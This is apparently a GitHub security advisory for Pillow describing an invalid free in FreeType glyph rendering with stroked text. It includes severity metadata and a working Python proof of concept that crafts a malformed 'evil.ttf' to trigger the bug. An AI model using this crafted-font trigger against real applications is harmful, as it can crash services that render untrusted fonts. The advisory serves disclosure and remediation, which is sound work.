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Pillow: Invalid free in FreeType glyph rendering when a stroker is active

High severity GitHub Reviewed Published Oct 17, 2026 in python-pillow/Pillow • Updated Oct 21, 2026

Package

pip pillow (pip)

Affected versions

>= 10.0.0, < 13.0.0

Patched versions

13.0.0

Description

Summary

When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FT_Load_Glyph fails for a glyph, the cleanup path calls FT_Done_Glyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.

Details

glyph is declared without a NULL initializer:

  • src/_imagingft.c:848

The first measurement loop can jump to glyph_error before glyph is ever assigned:

  • src/_imagingft.c:1010-1013

In the render loop the glyph is freed at the end of each iteration and not set back to NULL:

  • src/_imagingft.c:1242

The cleanup frees it whenever a stroker exists:

  • src/_imagingft.c:1253-1256

ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.

PoC

This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FT_Load_Glyph returns an error while the face still opens.

import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf"          # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()

raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
    rec = 12 + i * 16
    tag = bytes(raw[rec:rec+4]).decode("latin-1")
    off, length = struct.unpack(">II", raw[rec+8:rec+16])
    tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
    o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
    o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000)   # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20)             # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer

Result on the pinned build: FT_Load_Glyph returns an error and execution reaches the glyph_error cleanup that calls FT_Done_Glyph(glyph) (the plugin surfaces OSError: invalid outline).

Impact

Applications that draw text with stroke_width != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FT_Done_Glyph.

References

@radarhere radarhere published to python-pillow/Pillow Oct 17, 2026
Published by the National Vulnerability Database Oct 19, 2026
Published to the GitHub Advisory Database Oct 21, 2026
Reviewed Oct 21, 2026
Last updated Oct 21, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(21st percentile)

Weaknesses

Use of Uninitialized Variable

The code uses a variable that has not been initialized, leading to unpredictable or unintended results. Learn more on MITRE.

Release of Invalid Pointer or Reference

The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly. Learn more on MITRE.

CVE ID

CVE-2026-112893

GHSA ID

GHSA-j4m9-6w36-pw47

Source code

Credits

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